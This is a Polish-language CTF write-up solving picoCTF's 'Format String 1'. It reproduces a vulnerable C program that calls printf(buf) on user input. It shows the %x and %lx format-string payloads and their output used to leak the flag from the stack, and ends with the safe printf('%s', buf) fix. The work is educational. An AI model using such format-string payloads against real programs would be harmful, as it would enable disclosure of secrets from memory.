W tym poście chciałbym opisać rozwiązanie zadania Format String 1 z picoCTF.
Do zadania został dołączony kod programu:
- #include <stdio.h>
- int main() {
- char buf[1024];
- char secret1[64];
- char flag[64];
- char secret2[64];
- // Read in first secret menu item
- FILE *fd = fopen("secret-menu-item-1.txt", "r");
- if (fd == NULL){
- printf("'secret-menu-item-1.txt' file not found, aborting.\n");
- return 1;
- }
- fgets(secret1, 64, fd);
- // Read in the flag
- fd = fopen("flag.txt", "r");
- if (fd == NULL){
- printf("'flag.txt' file not found, aborting.\n");
- return 1;
- }
- fgets(flag, 64, fd);
- // Read in second secret menu item
- fd = fopen("secret-menu-item-2.txt", "r");
- if (fd == NULL){
- printf("'secret-menu-item-2.txt' file not found, aborting.\n");
- return 1;
- }
- fgets(secret2, 64, fd);
- printf("Give me your order and I'll read it back to you:\n");
- fflush(stdout);
- scanf("%1024s", buf);
- printf("Here's your order: ");
- printf(buf);
- printf("\n");
- fflush(stdout);
- printf("Bye!\n");
- fflush(stdout);
- return 0;
- }
W kodzie powyżej dane są pobierane przez funckję scanf w formacie jaki zostanie do niego przekazany po tym zostaje bezpośrenio wyświetlony przez funkcję printf. Z tego powodu możemy wykorzystać takie specifikatory formatu jak %p, %x, %lx aby podglądnąć zawartość pamięci programu.
Po uruchomieniu kodu programu otrzymuje się następujące informacje. Po wprowadzeniu %x pokazują się dane z pamięci:
- Give me your order and I'll read it back to you:
- %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
- Here's your order: 402118010513a0001480880a347834ac5b75a010304e60105294d01ac5b7670006f6369706d316e34333179373431665f6336393371052b8d87743072506c797453
- Bye!
Na samym początku można spróbować wyszukać w ciągu string picoCTF oznaczający pozycję flagi:
- picoCTF na hex 7069636F4354
Po wyszukiwaniu znajduje następujący ciąg:
- 6f636970
Nie widać pozostałej części danych więc najprawdopodobniej program działa na 64 bitach. %x wyświetla dane dla 32 bitów, więc z tego powodu może wynikać brak danych.
Zmodyfikuje polecenie i zamiast %x wykorzystam %lx:
- Give me your order and I'll read it back to you:
- %lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx
- Here's your order: 402118077aa49eb0a00082a880a3478347ffd4957cba077aa49ca1e6077aa49ec64d017ffd4957cc70007b4654436f636970355f31346d316e34
- Bye!
Teraz szukany string czyli picoCTF jest juz widoczny.
- 54436f636970
Natomiast jeszcze nie widać całego ciągu znaków, potrzebne jest odczytanie większej ilości danych.
- Give me your order and I'll read it back to you:
- %lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx
- Here's your order: 402118,0,7f07040bca00,0,c94880,a347834,7ffc28e558b0,7f0703eade60,7f07040d24d0,1,7ffc28e55980,0,0,7b4654436f636970,355f31346d316e34,3478345f33317937,30355f673431665f,7d343663363933,7,7f07040d48d8,2300000007,206e693374307250,a336c797453,9,7f07040e5de9,7f0703eb6098,7f07040d24d0,0,7ffc28e55990,2c786c252c786c25,2c786c252c786c25,2c786c252c786c25,2c786c252c786c25,2c786c252c786c25,2c786c252c786c25,2c786c252c786c25
- Bye!
Jak widać powyżej dane zaczeły się już powtarzać (2c786c252c786c25 czyli ,xl%,xl%). Oznacza to że doszliśmy do miejsca w pamięci w które został wprowadzony wpisany ciąg znaków.
Teraz już łatwo zlokalizować flagę:
- 7b4654436f636970,
- 355f31346d316e34,
- 3478345f33317937,
- 30355f673431665f,
- 7d343663363933,
Po konwersji hex na ascii otrzymałem string odwrócony:
- 7b4654436f636970, => 7069636F4354467B
- 355f31346d316e34, => 346E316D34315F35
- 3478345f33317937, => 377931335F347834
- 30355f673431665f, => 5F663134675F3530
- 7d343663363933, => 3339366336347D
Jeśli wprowadzi się przestawione bajty do konwertera HEX na ASCII to wyświetli się poprawna flaga do wysłania:
Aby uniknąć takich błędów w przypadku własnych programów należy unikać bezpośredniego przekazywania bufora do funkcji printf.
- printf(buf); ==> tak nie
- printf("%s", buf); ==> tak ok